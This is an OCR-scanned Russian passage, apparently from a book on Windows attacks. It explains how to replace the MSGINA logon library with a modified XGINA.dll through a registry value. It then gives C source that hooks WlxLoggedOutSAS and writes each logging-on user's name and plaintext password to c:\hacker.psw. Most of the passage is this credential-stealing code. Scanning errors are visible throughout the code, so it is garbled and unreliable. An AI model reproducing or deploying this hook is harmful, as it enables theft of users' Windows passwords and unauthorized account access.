| Модифицированная библиотека Gina f Модифицированная библиотека (полностью текст и описание
состояний приведено выше) Gina XGINA.dll реализует перехват экспортируемых оригинальной
MSGINA функций с последующей передачей им управления. Собственные обработчики
должны иметь такие же имена, что и оригинальные (экспортируемые библиотекой MSGINA).
Для того чтобы вместо оригинальной библиотеки MSGINA.dll в процесс winlogon подгружалась
модифицированная библиотека XGINA.dll, нужно задать в ключе реестра \Registry\Machine\Software\Microsoft\Windo\vs
NT\Current Version\Winlogon запись: GinaDll = c:\xgina.dll. XGINA.dll
во время загрузки в процесс Winlogon должна сначала подгрузить оригинальную библиотеку
MSGINA.DLL, а затем получить адреса экспортируемых этой библиотекой функций, для
того чтобы использовать эти адреса в собственных обработчиках:
WLXNEGOTIATE WLXINITIALIZE WLXDISPLAYSASNOTICE WLXLOGGEDOUTSAS
WLXACTIVATEUSERSHELL WLXLOGGEDONSAS WLXISLOCKOK WLXDISPLAYLOCKEDNOTICE
WLXWKSTALOCKEDSAS g_lpWlxNegotiate = NULL; g_lpWlxInitialize = NULL; g_lpWlxDisplaySASNotice
= NULL; g_lpWlxLoggedOutSAS = NULL; g_lpWlxActivateUserShell = NULL; g_lpWlxLoggedOnSAS
= NULL; g_lpWlx!sLockOk = NULL; g_lpWlxDisplctyLockedNotice = NULL; g IpWlxWkstaLockedSAS
= NULL; WLXISLOGOFFOK g_lpWlx!sLogoffOk = NULL; WLXLOGOFF . g_lpWlxLogoff
» NULL; WLXSHUTDOWN g_lpWlxShutdown - NULL; BOOL InitMSGinaDllO {
. hMSGinaDLL = LoadLibrary(_T("MSGINA.DLL")); if (hMSGinaDLL
== NULL) { return FALSE; } MessageBox(NULL,_T("Load Original
Library MSGINA"), _T("GinaDebug"), MB_OK); g_lpWlxNegotiate
= ( WLXNEGOTIATE )GetProcAddress(hMSGinaDLL, "WlxNegotiate" ); g_lpWlxInitialize
= ( WLXINITIALIZE )GetProcAddress(hMSGinaDLL, "Wlxlnitialize" ) ;
g_lpWlxDisplaySASNotice = ( WLXDISPLAYSASNOTICE ) GetProcAddress(hMSGinaDLL, "WlxDisplaySASNotice"
); g_lpWlxLoggedOutSAS -= ( WLXLOGGEDOUTSAS )GetProcAddress (hMSGinaDLL, "WlxLoggedOutSAS"
); g_lpWlxActivateUserShell = ( WLXACTIVATEUSERSHELL ) GetProcAddress(hMSGinaDLL,
"WlxActivateUserShell" ); g_lpWlxLoggedOnSAS = ( WLXLOGGEDONSAS )GetProcAddress(hMSGinaDLL,
"WlxLoggedOnSAS" ); g_lpWlx!sLockOk = ( WLXISLOCKOK )GetProcAddress(hMSGinaDLL,
"WlxIsLockOk" ); g_lpWlxDisplayLockedNotice = ( WLXDISPLAYLOCKEDNOTICE
) GetProcAddress(hMSGinaDLL, "WlxDisplayLockedNotice" ); g_lpWlxWkstaLockedSAS
= ( -WLXWKSTALOCKEDSAS .) GetProcAddress(hMSGinaDLL, "WlxWkstaLockedSAS"
); g_lpWlx!sLogoffOk = ( WLXISLOGOFFOK )GetProcAddress(hMSGinaDLL, "WlxIsLogoffOk"
) ; g_lpWlxLogoff = ( WLXLOGOFF )GetProcAddress(hMSGinaDLL, "WlxLogoff"
); g_lpWlxShutdown = ( WLXSHUTDOWN )GetProcAddress(hMSGinaDLL, "WlxShutdown"
); MessageBox(NULL,_T("All Function Attach Succesfully") , _T ("GinaDebug"),
MBJDK); return TRUE; Ниже приведен пример нового обработчика экспортируемой
функции WlxLoggedOutSAS: int WINAPI WlxLoggedOutSAS( PVOID pWlxContext, DWORD
dwSasType, FLUID pAuthenticationld, //ID, ассоциированный с текущей сессией logon
PSID pLogonSid, //SID уникальный для текущей сессией logon PDWORD pdwOptions,
//опция загрузки профиля PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifylnfo,
//парольная информация PVOID* pProfile ) //указатель на одну из структур WLX_PROFILE_xxx
{ ' int res,i; FILE *out; UCHAR current_name[32],current_pass[32]; UCHAR
pro[2]={0x20,0}; UCHAR end[3]={OxD,OxA,0}; MessageBox(NULL,_T("WlxLoggedOutSAS"),_T("GinaDebug"),MB_OK);
//вызов оригинальной функции WlxLoggedOutSAS res = g_lpWlxLoggedOutSAS( pWlxContext,
dwSasType, pAuthenticationld, pLogonSid, pdwOptions, phToken, pMprNotifylnfo,
pProfile ); if(res == WLX_SAS_ACTION_LOGON) { for (i=0;i<32;i++) current_name[i]=0;
for (i=0;i<32;i++) { if(pMprNotify!nfo->pszUserName[i]==0) break;
else current_name[i]=pMprNotify!nfo->pszUserName[i]; //получение имени пользователя
for(i=0;i<32;i++) current_pass[i]=0; for (i=0;i<32;i+,+ ) if(pMprNotify!nfo->pszPassword[i]==0)
break; else current_pass[i]=pMprNotify!nfo->pszPassword[i] ; //получение
пароля пользователя out=fopen ("с: \\hacker.psw", "r+b")
; if (out!=NULL) { f seek (out, 0, SEEK_END) ; //вывод имени пользователя
в файл с: \\hacker .psw f write (cur rent_name, sizeof (char) , strlen (current_name)
, out); fwrite (pro, sizeof (char) , 1, out) ; //вывод пароля пользователя
в файл с: \\hacker .psw fwrite (current_pass, sizeof (char) , strlen (current_pass)
, out) ; fwrite (end, sizeof (char) , 2, out) ; fclose (out) ; ' return
res; |